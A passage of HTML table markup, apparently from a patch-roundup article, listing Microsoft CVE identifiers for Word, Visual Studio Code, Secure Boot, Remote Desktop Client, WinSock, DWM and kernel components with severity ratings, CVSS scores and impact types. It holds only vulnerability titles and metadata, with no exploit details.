  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42835"><span>CVE-2026-42835</span></a></td>
  <td width="256" class="xl68">Microsoft Teams for
  Android Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45606"><span>CVE-2026-45606</span></a></td>
  <td width="256" class="xl68">Microsoft UxTheme
  Library (uxtheme.dll) Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45482"><span>CVE-2026-45482</span></a></td>
  <td width="256" class="xl68">Microsoft Visual
  Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45466"><span>CVE-2026-45466</span></a></td>
  <td width="256" class="xl68">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45471"><span>CVE-2026-45471</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45486"><span>CVE-2026-45486</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45643"><span>CVE-2026-45643</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45457"><span>CVE-2026-45457</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42980"><span>CVE-2026-42980</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42916"><span>CVE-2026-42916</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45649"><span>CVE-2026-45649</span></a></td>
  <td width="256" class="xl68">Office for Android
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47653"><span>CVE-2026-47653</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42909"><span>CVE-2026-42909</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42913"><span>CVE-2026-42913</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42993"><span>CVE-2026-42993</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45588"><span>CVE-2026-45588</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48568"><span>CVE-2026-48568</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48570"><span>CVE-2026-48570</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48573"><span>CVE-2026-48573</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48575"><span>CVE-2026-48575</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48576"><span>CVE-2026-48576</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48578"><span>CVE-2026-48578</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45654"><span>CVE-2026-45654</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45656"><span>CVE-2026-45656</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-8863"><span>CVE-2026-8863</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40376"><span>CVE-2026-40376</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47281"><span>CVE-2026-47281</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47284"><span>CVE-2026-47284</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47292"><span>CVE-2026-47292</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  MSSQL Extension Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48569"><span>CVE-2026-48569</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47287"><span>CVE-2026-47287</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42829"><span>CVE-2026-42829</span></a></td>
  <td width="256" class="xl68">Windows Administrator
  Protection Secure Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34335"><span>CVE-2026-34335</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45601"><span>CVE-2026-45601</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45598"><span>CVE-2026-45598</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45596"><span>CVE-2026-45596</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45638"><span>CVE-2026-45638</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45603"><span>CVE-2026-45603</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42911"><span>CVE-2026-42911</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45594"><span>CVE-2026-45594</span></a></td>
  <td width="256" class="xl68">Windows Application
  Identity (AppID) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45655"><span>CVE-2026-45655</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45658"><span>CVE-2026-45658</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45640"><span>CVE-2026-45640</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth Port
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45605"><span>CVE-2026-45605</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47656"><span>CVE-2026-47656</span></a></td>
  <td width="256" class="xl68">Windows Boot Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44809"><span>CVE-2026-44809</span></a></td>
  <td width="256" class="xl68">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45634"><span>CVE-2026-45634</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45608"><span>CVE-2026-45608</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41108"><span>CVE-2026-41108</span></a></td>
  <td width="256" class="xl68">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42905"><span>CVE-2026-42905</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44811"><span>CVE-2026-44811</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44808"><span>CVE-2026-44808</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44807"><span>CVE-2026-44807</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42983"><span>CVE-2026-42983</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44802"><span>CVE-2026-44802</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44813"><span>CVE-2026-44813</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44804"><span>CVE-2026-44804</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48566"><span>CVE-2026-48566</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44814"><span>CVE-2026-44814</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45602"><span>CVE-2026-45602</span></a></td>
  <td width="256" class="xl68">Windows Dynamic Host
  Configuration Protocol (DHCP) Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42836"><span>CVE-2026-42836</span></a></td>
  <td width="256" class="xl68">Windows Function
  Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42910"><span>CVE-2026-42910</span></a></td>
  <td width="256" class="xl68">Windows Hotpatch
  Monitoring Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42972"><span>CVE-2026-42972</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45592"><span>CVE-2026-45592</span></a></td>
  <td width="256" class="xl68">Windows Internet
  (wininet.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42903"><span>CVE-2026-42903</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42914"><span>CVE-2026-42914</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48583"><span>CVE-2026-48583</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45653"><span>CVE-2026-45653</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42984"><span>CVE-2026-42984</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
